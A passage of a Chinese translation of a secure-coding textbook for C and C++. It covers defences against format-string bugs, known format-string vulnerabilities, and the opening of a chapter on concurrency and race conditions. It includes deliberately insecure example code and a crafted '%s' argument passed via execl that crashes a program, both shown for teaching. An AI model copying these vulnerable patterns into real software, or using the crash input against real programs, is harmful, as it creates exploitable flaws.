x, y, x * y); 18 19 exit(0); 20 } 未知 6.5.3 限制字节写入 当被误用的时候，格式化输出函数容易造成格式字符串漏洞和缓冲区溢出漏洞。缓冲区溢出可以通过严格控制这些函数写入的字节数来避免。 写入的字节数可以通过指定一个精度域作为%s转换规范的一部分进行控制。如下例，不使用 sprintf(buffer, \"Wrong command: %s\\n\", user); 而是使用 sprintf(buffer, \"Wrong command: %.495s\\n\", user); 精度域指定了针对%s转换所要写入的最大字节数。在这个例子中，静态字符串“贡献”了17个字节（包括尾部的空字节在内）。精度域为495确保结果字符串可以容纳于512字节的缓冲区。 另一种方式是使用更安全版本的格式化输出库函数，它们不容易产生缓冲区溢出问题（例如，采用snprintf（）和vsnprintf（）代替sprintf（）和vsprintf（））。这些函数指定了写入的最大字节数（包括末尾的空字节在内）。 知道在运行时使用的是哪一个函数及其版本信息是非常重要的。例如，Linux libc4.[45]中没有snprintf（）函数，然而，在Linux发行版中包含libbsd库，其中含有一个不带大小参数的snprintf（）函数。因此，使用早期版本的libc4中的函数snprintf（）会导致安全问题。如果你不认为这是一个问题的话，请阅读稍后的边栏“编程捷径”。 函数asprintf（）和vasprintf（）可以用于取代sprintf（）和vsprintf（）。这些函数为字符串分配足够大的空间以容纳包括末尾空字符在内的输出内容，并通过第一个参数返回指向它的指针。当该指针不再需要时，就会被传给free（）。这些函数都是GNU的扩展函数，在C或POSIX标准中并没有定义。*BSD系统也支持这些函数。另一个解决方案是使用slprintf（）函数，它采用与第2章中讨论的strlcpy（）和strlcat（）函数类似的方式。 编程捷径 互联网系统协会（Internet Systems Consortium，ISC）的动态主机配置协议（Dynamic Host Configuration Protocol，DHCP）包含一个漏洞，存在若干个潜在的缓冲区溢出情形。ISC的DHCP使用vsnprintf（）函数写形形色色的日志文件字符串。对于不支持vsnprintf（）的系统来说，可以使用一个C包含文件，它以如下方式将一个vsnprintf（）定义为vsprintf（）： #define vsnprintf（buf.size.fmt.list）\\ vsprintf（buf.fmt.list） vsprintf（）函数没有边界检查。因此，这里size被丢弃了，从而当使用非受信的数据时，就导致了缓冲区溢出的可能性。 在这种情况下，可以通过包含一个具有可执行文件的vsnprintf（）实现，来消除对外部库的依赖，从而解决这个问题。"},
    {"text": "未知 6.5.4 C11附录K边界检查接口 C11标准添加了一个新的可选的规范性附录，它包括更安全版本的格式化输出函数。这些具有增强的安全性的函数包括fprintf_s（）、printf_s（）、snprintf_s（）、sprintf（）、vfprintf_s（）、vprintf_s（）、vsnprintf_s（）、vsprintf_s（）以及它们的宽字符版本。 这些格式化输出函数有着不带_s后缀的原型对应物，但sprintf_s（）和vsprintf_s（）除外，二者对应的原型是snprintf（）和vsnprintf（）。这些安全性函数与不带_s后缀的对应物的区别在于，如果格式字符串为空指针，或者如果格式字符串中包含指示符%n（无论是否被标志、域、宽度或精度修改），或者如果在这些函数中对应一个%s指示符的参数是空指针的话，那么它们会将其视作运行时约束错误（runtime constraint error）。如果在格式字符串中后续出现的字符%n不被解释为一个%n指示符，例如，如果整个格式字符串是%%n时，就不构成运行时约束违例（runtime constraint violation）。 尽管这些函数是对现有C标准函数的改进，即可以防止写内存，但它们无法防止格式字符串漏洞，这些漏洞使程序崩溃，或被用于查看内存内容。因此，当使用这些函数时，有必要像在使用不带_s后缀的格式化输出函数一样保持警惕。 未知 6.5.5 iostream与stdio 尽管C程序员几乎别无选择而只能使用C标准格式化输出函数，但C++程序员能够使用iostream库，这个库提供了通过流来实现输入、输出的功能。格式化输出使用iostream依照中缀二元插入操作符“﹤﹤”进行实现。左操作数是待插入数据的流，右操作数则是要插入的值。格式化和标记化（tokenized）输入是通过提取操作符“﹥﹥”实现的。标准的C I/O流stdin、stdout和stderr被cin、cout和cerr所取代。 在《Effective C++》一书中，Scott Meyers[Meyers 1998]偏爱iostream甚于stdio： 虽然备受推崇，但事实上scanf和printf以及其他同类的函数都是可以改进的。特别是，它们既非类型安全，也不具备可扩展性。 除了提供类型安全和可扩展性之外，iostream库在安全性方面做得要比stdio好得多。例6.14所示的是一个使用stdio实现的极其不安全的程序。程序在第8行从stdin中读入一个文件名并尝试在第9行打开该文件。如果打开失败的话会在第13行打印一条错误信息。但是，这个程序的第8行代码容易造成缓冲区溢出，第13行代码中的格式字符串则可能会被利用。例6.15展示了该程序的一个安全版本，使用了std::string类和iostream库。 例6.14 极其不安全的stdio实现 01 #include <stdio.h> 02 int main(void) { 03 04 char filename[256]; 05 FILE *f; 06 char format[256]; 07 08 fscanf(stdin, \"%s\", filename); 09 f = fopen(filename, \"r\"); /* 只读 */ 10 11 if (f == NULL) { 12 sprintf(format, \"Error opening file %s\\n\", filename); 13 fprintf(stderr, format); 14 exit(-1); 15 } 16 fclose(f); 17 } 例6.15 安全的iostream实现 01 #include <iostream> 02 #include <fstream> 03 using namespace std; 04 05 int main(void) { 06 string filename; 07 ifstream ifs; 08 cin >> filename; 09 ifs.open(filename.c_str()); 10 if (ifs.fail()) { 11 cerr << \"Error opening \" << filename << endl; 12 exit(-1); 13 } 14 ifs.close(); 15 } 未知 6.5.6 测试 漏洞测试软件是必不可少的，但具有局限性。测试的主要弱点在于路径的覆写，也就是说很难构建一个能够覆写程序中所有路径的测试套件。格式字符串bug的主要来源是错误报告代码（例如调用syslog（））。由于这类代码是作为异常的结果而被触发执行的，因此，在实际的运行期测试中这些路径往往被遗漏了。 未知 6.5.7 编译器检查 当前版本的GNU C编译器（GCC）提供了对格式化输出函数调用进行附加检测的标志。Visual C++中没有这样的选项。GCC的标志包括-Wformat、-Wformat-nonliteral以及-Wformat-security。 -Wformat。 这个标志指示GCC检查对格式化输出函数的调用，即检查格式字符串，并验证所提供的参数的类型和数目都是正确的。这个特性虽然起到了一定的作用，但是不会报告有符号/无符号整数转换指示符与它们相应的参数之间不匹配的情况。-Wformat选项包含在-Wall选项中。 -Wformat-nonliteral。 这个选项与-Wformat执行的功能基本相同，但是它在格式字符串不是字符串字面量并且不能被校验的情况下增加了警告功能。不过当格式化函数的格式参数为va_list时除外。 -Wformat-security。 这个标志执行的功能与-Wformat也基本相同，但它增加了对于可能造成安全问题的格式化输出函数调用的警告功能。在这种情况下，当格式字符串不是字符串字面量或者没有任何格式参数（如printf（foo））时就会对printf（）的调用发出警告。实际上，该警告是-Wformat-nonliteral警告的一个子集。将来可能会对-Wformat-security继续增加新的警告，而新扩充的警告将不包括在-Wformat-nonliteral中。"},
    {"text": "未知 6.5.8 静态污点分析 Umesh Shankar及其同事描述了一个用于检测C程序中的格式字符串安全漏洞的系统，该系统使用了一个基于约束的类型推断引擎[Shankar 2001]。在这种方法中，来自非信任源的输入会被标记为污点（tainted），而由污点源衍生的数据同样会被标记为污点，对于那些试图将污点数据解释为格式字符串的操作会产生一个警告。这个工具是基于cqual扩展类型修饰符框架（extensible type qualifier framework）而构建的 [1] 。 污点化（tainting）利用附加类型修饰符（ type qualifier ）来扩展现有的C类型系统。标准C类型系统中已经包含了const之类的修饰符，增加一个污点修饰符则允许在使用非信任输入的同时将其标记为污点，就像下面程序中示范的那样： tainted int getchar(); int main(int argc, tainted char *argv[]); 在这个例子中，getchar（）的返回值和程序的命令行参数都被标记为污点并作为污点值（tainted value）对待。在给定一套初始污点标注的情况下，就可以推断程序变量能否被赋予来自某个污点源（tainted source）的值。如果任何污点类型的表达式被用作了格式字符串，则用户将会被警告程序中存在潜在的漏洞。 静态污点分析需要源代码中具备完善的标注，遗漏了标注必然会导致漏洞检测不彻底。从另一方面来看，过多的误判则会导致工具本身被弃用。现在，已经开发出限制并帮助用户管理警告信息的技术了。 静态污点分析的思想来源于Perl。Perl中提供了一种名为“taint”（污点）的机制，用于标记用户感到没有把握的变量（包括用户输入、文件输入和环境变量等）[Stein 2001]，并防止这些变量被具有潜在危险性的函数所使用。 惠普加强静态代码分析器（HP Fortify Static Code Analyzer）是一个商业的静态分析工具的示例，它的好处是能查明和报告格式字符串漏洞 [2] 。 [1] 参见www.cs.umd.edu/~jfoster/cqual。 [2] 参见www.hpenterprisesecurity.com/vulncat/en/vulncat/index.html。 未知 6.5.9 调整变参函数的实现 对格式字符串漏洞的利用要求参数指针被步进（advance）超过传递给格式化输出函数的参数数目。换句话说，格式字符串使用的参数个数超过了实际传入的实参数量。可以通过将变参函数的参数个数限制在实际传递的参数个数之内，从而消除这个基于参数指针步进而导致的漏洞利用。 遗憾的是，通过传递一个终止参数（例如空指针）来判断实参什么时候被用尽是不可能的，因为标准C变参函数机制允许任意数据作为参数传递。 由于编译器总是知道有多少个参数传递到了函数中，所以另外一种实现方式是将这个信息作为一个参数传给变参函数，如例6.16所示。在例子的第1行，va_start（）宏被展开以初始化存储变参个数的变量va_count。这种方式假定参数的数目会作为一个参数直接传递给变参函数，并且紧接在定参的后面。在第6行展开了va_arg（）宏，每次调用它的时候变量va_count都会减1。当va_count等于0时如果再需要参数，则函数失败。 例6.16 安全的变参函数实现 01 #define va_start(ap,v) 02 (ap=(va_list)_ADDRESSOF(v)+_INTSIZEOF(v)); \\ 03 int va_count = va_arg(ap, int) 04 #define va_arg(ap,t) \\ 05 (*(t *)((ap+=_INTSIZEOF(t))-_INTSIZEOF(t))); \\ 06 if (va_count-- == 0) abort(); 07 int main(void) { 08 int av = -1; 09 av = average(5, 6, 7, 8, -1); // 成功 10 av = average(5, 6, 7, 8); // 失败 11 return 0; 12 } 例6.17 安全的变参函数绑定 av = average(5, 6, 7, 8); // 失败 1. push 8 2. push 7 3. push 6 4. push 4 // 4 个变参 ( 和 1 个定参) 5. push 5 6. call average 7. add esp, 14h 8. mov dword ptr [av], eax 我们可以利用例6.2中的average（）函数测试这种方式的正确性。当例6.16的第9行中第一次调用average（）的时候，由于函数选用了参数为–1作为终止条件，所以执行成功。但是，第二次调用它的尝试却失败了，因为用户忘记将–1作为参数传给函数，当va_arg（）函数用尽所有的参数时就非正常终止了。 然而，这个解决方案存在两个问题。其一，大多数编译器都不能传递一个包含变参个数的参数 [1] 。这就导致需要直接用汇编语言编写调用指令。例6.17展示了一个汇编语言指令的例子，这是第6行调用average（）函数所需生成的指令，以便处理修改后的变参函数实现。可以看到，包含变参个数的附加参数被插入到第4行。 其二，附加参数的存在会破坏与现存库的二进制兼容性（假设编译器还没有传递这些信息）。与这些库进行桥接可能需要一些诸如pragma之类的传统机制，而这些机制必然会产生老式的绑定。但另外，该解决方案不需要修改源代码。 唯一需要步进参数指针的格式字符串漏洞就是缓冲区扩张（buffer expansion），我们需要采用其他措施避免这类格式字符串漏洞的利用。 [1] VAX 标准调用序列（部分在其硬件指令上实现）确实传递一个参数计数（实际上是组成参数列表的长字的数量）。这是从Alpha 引入的，且HP VMS for Alpha 仍然是这么做的。"},
    {"text": "未知 6.5.10 Exec Shield Exec Shield的开发者是Arjan van de Ven 和Ingo Molnar，这是一种针对Linux x86-32的、基于核心的安全特征[Drepper 2004]。在Red Hat Enterprise Linux 版本3的更新版3中，Exec Shield能够对栈、共享库的位置以及程序堆的起点进行随机化处理[van de Ven 2004]。 Exec Shield栈随机化是由核心作为一个执行程序的启动而实现的。栈指针增加一个随机值。这个过程中不会发生浪费内存的情况，因为被忽略的栈区域没有被换页载入。然而，栈的地址则变得难以预测。尽管栈随机化是一种阻止现有漏洞利用的很有用的思想，但它也可以被挫败，如6.4节中所示。 未知 6.5.11 FormatGuard 另一种防范格式字符串漏洞的策略是通过动态地改变C运行时环境、编译器或者库函数来防止利用。FormatGuard是一个编译器修改器，通过插入代码实现动态检测，并且拒绝那些参数个数与转换规范所指定个数不匹配的格式化输出函数调用[Cowan 2001]。为了实现检查工作，应用程序必须使用FormatGuard进行重编译。 不同于原来改变变参函数实现的做法，FormatGuard使用GNU C的预处理器（C PreProcessor，CPP）提取实际的参数个数。然后这个总数被传递给一个安全的包装器函数（wrapper function）。该函数解析格式字符串以确定需要传入多少个参数。如果格式字符串使用的参数大于提供的实参，那么包装器函数将引发一个警报并终止进程。 FormatGuard也存在一定的局限性。如果攻击者使用的格式字符串能够低于或恰好匹配格式化输出函数的实参个数，那么FormatGuard将不能察觉到这种攻击。理论上，攻击者有可能通过“创造性地”输入一些参数来发动攻击（例如，将一个整型参数当作双精度型参数对待），但实际上可以这种方式利用的漏洞很罕见，而且这样的攻击程序也很难写。此外，坚持参数与“%”指示符之间的精确匹配容易产生误判，因为有很多代码都提供了比格式字符串所指定的参数个数更多的实参。 另一个局限性在于程序有时会取得函数printf（）的地址并将其存入一个函数指针变量中，以后通过这个变量来调用printf（）。这一系列事件会使FormatGuard失效，因为取得printf（）地址的过程不会出错，而且通过函数指针的间接调用也不会展开宏。幸运的是，这并不是格式化输出函数的惯常用法。 FormatGuard的第三个局限性在于它无法保护这类程序：动态地构建参数列表变量并调用vsprintf（）或者其他相关函数。 未知 6.5.12 静态二进制分析 按照如下标准，可以通过分析二进制映像来发现格式化字符串漏洞： 1.栈修正是否比最小值还小？ 2.格式化字符串是静态的还是可变的？ 例如，在正确使用的情况下，printf（）函数应该接受最少2个参数：一个格式化字符串和一个参数。如果printf（）只有一个参数并且该参数可变，那么这个调用也许就表示有可利用的漏洞存在。 传递给格式化输出函数的参数个数可以通过检查调用后函数的参数修正值进行确定。在下例中，由于栈修正值是4，很明显只有一个参数被传递给了printf（）。 1 lea eax, [ebp+10h] 2 push eax 3 call printf 4 add esp, 4 还可以通过检测调用之前的汇编代码来判断装入eax寄存器的参数是一个常量还是一个变量。还可以借助工具判断一个变量参数是否会受用户影响，当然这个过程非常复杂。 开发者和安全质检人员都可以使用静态二进制分析技术来探查漏洞。对于最终用户来说，它可以被用来评估产品的安全性，而对于攻击者来说，则可以用来发现漏洞。 未知 6.6 著名的漏洞 这一节介绍几个著名的格式字符串漏洞。 未知 6.6.1 华盛顿大学FTP Daemon 华盛顿大学FTP daemon（wu-ftpd）是一个非常著名的FTP服务器，支持许多Linux和其他UNIX操作系统。但是在wu-ftpd2.6.1之前版本的insite_exec（）函数中存在一个格式字符串漏洞。对该漏洞的描述参见以下文献： ·AusCERT公告AA-2000.02，www.auscert.org.au/render.html?it=1911 ·CERT公告CA-2003-13，www.cert.org/advisories/CA-2000-13.html ·CERT漏洞记录VU#29823，www.kb.cert.org/vuls/id/29823 ·SecurityFocus Bugtraq ID1387，www.securityfocus.com/bid/1387 wu-ftpd的漏洞是一个典型的格式字符串漏洞，在那里用户的输入与Site Exec命令行功能中的格式化输出函数的格式字符串不匹配。wu-ftpd代码中的Site Exec漏洞自1993年wu-ftpd2.0问世时就存在了。包括Conectiva、Debian、Hewlett-Packard、NetBSD和OpenBSD等在内的其他供应商（或供应者）基于这个易受攻击的实现所提供的实现，也存在同样的问题。 远程用户获得root特权的事故已经被报告给CERT了。"},
    {"text": "未知 6.6.2 CDE ToolTalk 通用桌面环境（CDE）是一个运行在Linux和UNIX操作系统上的集成图形用户界面。CDE ToolTalk则是一个消息中介（message-brokering）系统，为应用程序彼此之间进行跨主机和跨平台的通信提供了一个架构。ToolTalk RPC数据库服务器rpc.ttdbserverd管理ToolTalk应用程序之间的通信。 在所有版本的CDE ToolTalk RPC 数据库服务器上都存在一个可被远程利用的格式字符串漏洞。对该漏洞的描述参见以下文献： ·Internet Security Systems Security Advisory，http://xforce.iss.net/xforce/alerts/id/advise98 ·CERT公告CA-2001-27，www.cert.org/advisories/CA-2001-27.html ·CERT漏洞记录VU#595507，www.kb.cert.org/vuls/id/595507 当处理一个错误情形时，它会调用一个不带格式字符串规范的syslog（）函数。由于rpc.ttdbserverd没有执行充分的输入有效性检测，也没有提供格式字符串规范参数，从而一个精心设计的、包含格式字符串规范的RPC请求就可以被syslog（）函数调用所解释。这类请求可以用于覆写指定位置的内存，并且以rpc.ttdbseverd特权（通常是root权限）执行代码。 未知 6.6.3 Ettercap NG-0.7.2版 在Ettercap NG-0.7.2版中，ncurses用户界面存在一个格式字符串缺陷。在ec_curses.c中的curses_msg（）函数调用了wdg_scroll_print（），wdg_scroll_print（）带有一个格式字符串及其参数并将其传递到vw_printw（）。curses_msg（）函数使用它的一个参数作为格式字符串。此输入可以包含用户数据，从而会产生一个格式字符串漏洞。 这个漏洞的描述参见以下文献： ·漏洞记录VU#286468.https://www.kb.cert.org/vuls/id/286468 ·Secunia Advisory SA15535.http://secunia.com/advisories/15535/ ·SecurityTracker Alert ID:1014084.http://securitytracker.com/alerts/2005/May/1014084.html ·GLSA200506-07.www.securityfocus.com/archive/1/402049 未知 6.7 小结 本章的开始部分有一个使用printf（）将程序的使用信息（usage information）打印到标准输出上的示例程序（参见例6.1）。至此，你应该意识到使用哪怕是部分来源于非信任源的格式字符串都存在一定的风险。然而在这个例子中，输入被限制于argv[0]，而它肯定是程序的名字，不是吗？ 例6.18展示了一个简单的利用程序，它使用exec1（）函数调用例6.1中的usage程序。exec1（）的第一个参数是一个执行文件的路径名，后面的参数可以认为是arg0、arg1、…argn，这些参数描述了由一个或多个指向以空字符结束的字符串的指针列表，它们代表可执行程序所使用的参数列表。按照惯例，第一个参数应该指向相应的执行文件的名字。然而，没有什么能够阻止它指向别的东西，例如，指向例6.18中第5行所示的精心设计的恶意参数。不论向exec1（）的这个参数中传递什么样的值，如例6.1中的usageStr总可以得到printf（）的处理。本例中，该参数将会导致usage程序非正常终止。 例6.18 打印usage信息 1 #include <unistd.h> 2 #include <errno.h> 3 4 int main(void) { 5 execl(\"usage\", \"%s%s%s%s%s%s%s%s%s%s\", NULL); 6 return(-1); 7 } 对于C标准格式化输出函数的不当使用可能会导致从信息漏洞乃至执行任意代码的利用。其中格式字符串漏洞相对容易发现并被改正（例如，使用GCC中的-Wformat-nonliteral标志）。 格式字符串漏洞比简单的缓冲区溢出更难利用，因为它需要同步多个指针和计数器。例如，攻击者必须对“用于查看任意位置的内存”的参数指针的位置以及输出计数器保持追踪以对它们进行覆写。 如果将被查看或覆写的内存地址包含空字节的话，对于利用来说可能是一个不可逾越的障碍。因为格式字符串是一个“字符串”，所以当遇到第一个空字节时格式化输出函数即会退出。在Visual C++的默认配置中，将栈放在低位内存（例如0x00hhhhhh）。这些地址较难遭受使用基于字符串操作的攻击。然而，正如第3章中所描述，可以通过覆写其他内存地址从而将程序的控制权转移给利用代码。 为了消除格式字符串漏洞，推荐在可能的情况下使用iostream代替stdio，在没有条件的情况下则要尽量使用静态格式字符串。当需要动态字符串的时候，最关键的是不要将来自非信任源的输入合并到格式字符串中。尽量使用C11附录K“边界检查接口”中定义的格式化输出函数来代替不带_s后缀的格式化输出函数，如果你的实现支持它们的话。 未知 6.8 阅读材料 Scut/Team Teso所著的“Exploiting Format String Vulnerability”[Scut 2001]提供了对格式字符串漏洞和利用问题的精辟分析。Gera和Riq探讨了防止格式字符串漏洞以及利用基于堆的格式字符串bug的问题[gera 2002]。"},
    {"text": "未知 第7章 并发 与Daniel Plakosh、David Svoboda和Dean Sutherland合著 [1] The race is not to the swift.nor the battle to the strong. Ecclesiastes 9:11 并发是一种系统属性，它是指系统中几个计算同时执行，并可能彼此交互[Wikipedia 2012b]。一个并发程序通常使用顺序线程和（或）进程的一些组合来执行计算，其中每个线程和进程执行可以在逻辑上并行执行的计算。这些进程和（或）线程可以在单处理器系统上使用分时抢占式的方式（用一种时间分片的方法使每个线程和（或）进程中的执行步骤交错进行）、在多核/多处理器系统中，或者在一个分布式计算系统中执行。多个控制流并发执行是现代计算环境的重要组成部分。 [1] Daniel Plakosh 是卡内基梅隆大学软件工程研究所（SEI）CERT 计划技术团队的一名高级成员。David Svoboda 是卡内基梅隆大学软件工程研究所（SEI）CERT 计划技术团队成员。Dean Sutherland 是卡内基梅隆大学软件工程研究所（SEI）CERT 计划技术团队的一名高级成员。 未知 7.1 多线程 常常错误地认为并发和多线程是同义词。多线程不一定是并发的[Liu 2010]。一个多线程程序可以以这样一种方式构建，即它的线程不会并发执行。 一个多线程程序分成可以并发执行的两个或更多线程。每个线程都作为一个单独的程序，但所有线程都在相同的内存中工作，并共享相同的内存。此外，线程之间的切换速度比进程间切换更快[Barbic 2007]。最后，多个线程可以在多个CPU上并行执行，以提高性能收益。 即使没有多个CPU，现在CPU架构的改进，也可以允许同时多线程，即在相同的内核中使交织在一起的多个独立线程同时执行。英特尔把这个过程称为超线程（hyperthreading）。例如，当一个线程等待数据从浮点运算到达时，另一个线程可以执行整数算术运算[Barbic 2007]。 无论CPU的数量是多少，线程安全都必须加以处理，以避免可能因执行次序而产生的潜在灾难性bug。 一个单线程的程序是完全不会产生任何额外线程的程序。因此，单线程程序通常并不需要担心同步，并可以受益于强大的单核处理器[Barbic 2007]。然而，它们并没有从多核的性能中受益，因为所有的指令必须在一个处理器的单个线程上按顺序运行。有些处理器可以利用指令级并行性，方法是从相同的指令流同时执行多个指令，这样做的时候，它们必须与指令依次执行产生相同的结果。 然而，即使是单线程程序也可能有并发问题。下面的程序说明，在唯一一个执行流中交错地同时发生。该程序还包含使用信号处理程序产生的未定义行为，虽然它没有使用多线程，但却存在并发问题。 01 char *err_msg; 02 #define MAX_MSG_SIZE = 24; 03 void handler(int signum) { 04 strcpy(err_msg, \"SIGINT encountered.\"); 05 } 06 07 int main(void) { 08 signal(SIGINT, handler); 09 err_msg = (char *)malloc(MAX_MSG_SIZE); 10 if (err_msg == NULL) { 11 /* 处理错误条件 */ 12 } 13 strcpy(err_msg, \"No errors yet.\"); 14 /* 主代码循环 */ 15 return 0; 16 } 虽然此程序只使用一个线程，但它采用了两个控制流：一个使用main（）函数，另一个使用handler（）函数。如果在调用malloc（）的过程中调用信号处理程序，该程序可能崩溃。此外，该处理程序可能在malloc（）和strcpy（）函数调用之间调用，有效地掩饰了信号的调用，结果是，err_msg包含\"No errors yet\"。欲了解更多信息，请参阅《C安全编码标准》[Seacord 2008]，“SIG 30-C.在信号处理函数中只调用异步安全的函数”。 未知 7.2 并行 往往认为并发和并行是等价的，但事实并非如此。所有的并行程序都是并发的，但不是所有的并发程序都是并行的。这意味着并发程序既可以用交错、时间分片的方式执行又可以并行执行，如图7.1和图7.2所示[Amarasinghe 2007]。 并行计算是“同时使用多台电脑资源解决计算问题”[Barney 2012]。把问题分解成几部分，再细分成一系列指令。然后来自各部分的指令在不同的CPU并行运行，实现并行计算。每个部分都必须独立于其他部分并可同时解，最终的结果是多个CPU比单个CPU可以在更短的时间内解决问题。 在计算中，并行规模千差万别。当计算问题分解之后，它的各部分可以由通过网络连接的任意数量的计算机承担。随后，每台计算机可以把问题分解成更小的部分，并把那些部分划分给多个处理器。用这种方法解决目前的问题，明显比用一台单核计算机来解决它需要更少的时间[Barney 2012]。 图7.1 并发交错 图7.2 并发并行（需要多核或者多处理器）"},
    {"text": "未知 7.2.1 数据并行 并行包括数据并行（ data parallelism ）和任务并行（ task parallelism ）。这些因问题分解的程度而异。如图7.3所示，数据并行把问题分解成数据段，且并行应用一个函数，在这种情况下，可以利用存储在数组中的字符。数据并行可用于在比顺序处理更短的时间内处理计算单元，它是高性能计算的基础。例如，要计算一个两维数组的总和，顺序的解决方案将线性地遍历并累加每一个数组项。数据并行把问题划分成单个行，并行地汇总每一行以得到一个子求和的列表，最后汇总每个子求和，从而缩短总的计算时间。 图7.3 数据并行（资料来源：[Reinders2007]） 单指令多数据（Single Instruction.Multiple Data，SIMD）是一类具有多个处理单元，同时对多个数据点执行相同操作的并行计算机。支持SIMD的CPU的例子有包括SIMD流指令扩展（Stream SIMD Extension，SSE）的Intel或AMD处理器和包括NEON指令的ARM处理器。英特尔64和AMD64处理器包括一组16个的标量寄存器（例如，RAX、RBX和RCX），它们可用于执行整数的算术运算。这些寄存器在任何时候只可以保存一个值。编译器可以使用RAX、RBX寄存器来执行一个简单的加法。如果有1000对整数需要加在一起，那么需要执行1000次这样的加法。SSE增加了16个额外的128位宽的寄存器。它们可以保存较小值的集合，例如，4个32位宽的整数（SSE2），而非保存单个128位宽的值。这些寄存器称为XMM0、XMM1，等等。它们称为向量寄存器，因为它们在任何时间都可以保存几个值。SSE2还提供了新的指令来执行这四个压缩（packed）整数算术。因此，使用标量寄存器，单个指令可以累加四对整数[Hogg 2012]，而需要的时间与累加一对整数相同。 向量化是使用这些向量寄存器，而不是标量寄存器，以提高性能的过程。它可以由程序员手动执行。开发人员必须用汇编语言编写代码或调用内置的内部函数。向量化为开发人员提供了低级别的控制能力，但是比较难，所以不推荐。 大多数现代编译器还支持自动向量化。一个例子是Microsoft Visual C++2012。如果可能，自动向量化分析循环并采用向量寄存器和指令执行它们。例如，下面的循环可能会受益于向量化。 for (int i = 0; i < 1000; ++i) A[i] = B[i] + C[i]; 编译器针对Intel和AMD处理器的SSE2指令或ARM处理器的NEON指令。如果处理器支持，自动向量化还采用了更新的SSE4.2指令集。 Visual C++允许指定/Qvec-report（自动向量化报告级别）命令行选项报告成功的向量循环（/Qvec-report:1）或报告成功和不成功向量循环（/Qvec-report:2）。 Microsoft Visual C++2012还支持/Qpar编译器开关，以使循环自动并行化。只有当编译器决定了这样做是有效的，并且会提高性能时，循环才会并行执行。 Microsoft Visual C++2012还提供了一个循环编译指示来控制循环代码如何由自动并行化评估和（或）从自动向量化的方面考虑排除一个循环。 loop（hint_parallel（n））编译指示是对编译器的一个提示，告诉它这个循环应该跨度n个线程并行化，其中n是正整数字面值或0。如果n为0，在运行时使用最大线程数。因为这是一个编译器提示，而不是一个命令，所以不保证循环一定能并行化。如果循环有数据依赖关系，或结构性问题，例如，循环存储一个标量，其使用超出了循环体，那么此循环就不能并行化。loop（ivdep）编译指示告诉编译器，对这个循环忽略向量依赖。它与hint_parallel结合使用。 默认情况下，自动向量化是启用的，并尝试对它检测出将从向量化获利的所有循环实现向量化。loop（no_vector）编译指示对该编译指示之后的循环禁用自动向量化。 未知 7.2.2 任务并行 如图7.4所示，任务并行性指将一个问题分解成可以共享数据的不同任务。各任务在同一时间执行，但执行不同的功能。因为这种类型的并行性的任务数量是固定的，所以它具有有限的可扩展性。它由主流操作系统和多种编程语言支持，一般用来提高程序的响应能力。例如，通过给每一个计算分配一个独立的任务，就能同时计算数据集的平均值、最小值、二进制或和几何平均数[Plakosh 2009]。 图7.4 任务并行（资料来源：[Reinders 2007]）"},
    {"text": "未知 7.3 性能目标 除了并行计算的概念，术语并行度（ parallelism ）用来表示工作（所有指令花费的总时间）跨度（执行最长的并行执行路径或关键路径所花费的时间）比。所得到的值是沿关键路径的每个步骤完成的平均值，并且是任意数量的处理器可能获得的最大加速比。因此，可实现的并行度受限于程序结构，依赖于它的关键路径和工作量。图7.5显示了一个现有的程序，它的工作时间是20秒，跨度是10秒。在使用超过两个处理器时，工作跨度比提供的性能增益很少。 图7.5 可实现的并行度受限于结构（资料来源：摘自[Leiserson 2008]） 能够并行地执行的计算越多，优势就越大。这种优势有一个上限，这个上限近似于工作跨度比。然而，重组要并行化的代码是一个昂贵且危险的任务[Leiserson 2008]，并且即使在理想的情况下，它也有限制，在如图7.6所示的这个例子中，需要执行的工作是82秒，跨度是10秒。因此，使用超过8个处理器能获得的性能改进很少。 图7.6 并行的限制（资料来源：[Leiserson 2008]） 阿姆达尔定律 阿姆达尔定律（Amdah's Law）给出了并行可能获得的更精确的加速比上限。设P是可以并行运行的指令的比例，N是处理器的数量。那么，根据阿姆达尔定律，并行可以实现的最高加速比为[Plakosh 2009] 图7.7展示了根据可并行运行的指令的比例与处理器的数量得出的加速比。 图7.7 阿姆达尔定律的图形表示（资料来源：[Wikipedia 2012a]） 未知 7.4 常见错误 即使不存在安全方面的考虑，并发编程也一直是一个困难和容易出错的过程。多年来一直困扰开发人员的许多相同的软件缺陷，也可以作为各种漏洞的攻击载体。 未知 7.4.1 竞争条件 不受控制的并发可能会导致不确定的行为（即对相同的一组输入，一个程序可能表现出不同的行为）。在任何情况下，取决于哪个线程首先完成，只要两个线程可以产生不同的行为，都会产生竞争条件。 竞争条件的存在离不开三个属性： 1.并发属性：至少有两个必须同时执行的控制流。 2.共享对象属性：两个并发流都必须访问一个共享的竞争对象。 3.改变状态属性：至少有一个控制流一定会改变竞争对象的状态。 竞争条件是一种软件缺陷，并且经常是漏洞的来源。竞争条件特别阴险，因为它们有时间依赖性并且是零星出现的。因此，它们难以察觉、重现和消除，并可能导致错误，如数据损坏或崩溃[Amarasinghe 2007]。 竞争条件是运行时环境导致的，这个运行时环境包括必须对共享资源的访问进行控制的操作系统，特别是通过进程调度进行控制的。无论运行时环境如何调度执行（在已知的限制条件下），确保代码正确排序都是程序员的责任。 要消除竞争条件，首先要识别竞争窗口。竞争窗口是访问竞争对象的一个代码段，它的执行方式是打开一个机会窗口，在此期间其他并发流可以“竞争进入”，并改变竞争对象。此外，竞争窗口不受锁或任何其他机制保护。用锁或无锁的机制保护的竞争窗口称为临界区（ critical section ）。 例如，假设丈夫和妻子同时分别从不同的ATM（自动柜员机）尝试从他们的联合储蓄账户中提取所有的钱。两人都查余额，然后取出这一数额。所期望的行为是，允许一个人提取余额，而另一人发现，余额为＄0。然而，当双方都看到相同的初始余额且允许两人取出这一金额时，可能就会出现竞争条件。允许竞争条件的代码甚至无法检测到账户余额出现透支！ 对于储蓄账户的竞争条件，丈夫和妻子代表并发流，共享对象是储蓄账户，而改变状态属性则通过提款来满足。包含这样的竞争条件的储蓄账户软件可能会被能够协调几个行动者同时使用ATM的攻击者利用。 以下是一个带有竞争条件，非线程安全的C++函数代码示例： 1 static atomic<int> UnitsSold = 0; 2 3 void IncrementUnitsSold(void) { 4 UnitsSold = UnitsSold + 1; 5 } 在这个例子中，如果两个单独的线程都调用函数IncrementUnitsSold（），可能会出现如表7.1所示的竞争条件。 表7.1 竞争条件示例 两个线程调用函数IncrementUnitsSold（）后，变量UnitsSold应设置为2，但它却设置为1，这是因为对变量UnitsSold的不同步访问产生的固有的争用条件所致。"},
